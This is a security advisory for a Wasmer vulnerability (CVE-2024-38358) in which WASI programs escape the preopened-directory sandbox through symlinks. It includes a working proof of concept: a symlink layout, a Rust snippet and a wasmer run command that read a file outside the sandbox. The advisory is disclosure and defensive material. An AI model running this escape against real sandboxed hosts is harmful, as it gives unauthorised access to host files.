Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS01NWYzLTNxdmctOHB2Nc4AA8zV

Symlink bypasses filesystem sandbox

Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.

Permalink: https://github.com/advisories/GHSA-55f3-3qvg-8pv5
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NWYzLTNxdmctOHB2Nc4AA8zV
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: 4 months ago
Updated: 3 months ago

CVSS Score: 2.9
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Identifiers: GHSA-55f3-3qvg-8pv5, CVE-2024-38358
References:

• https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5
• https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662
• https://nvd.nist.gov/vuln/detail/CVE-2024-38358
• https://github.com/advisories/GHSA-55f3-3qvg-8pv5

Repository: https://github.com/wasmerio/wasmer
Blast Radius: 8.3

Affected Packages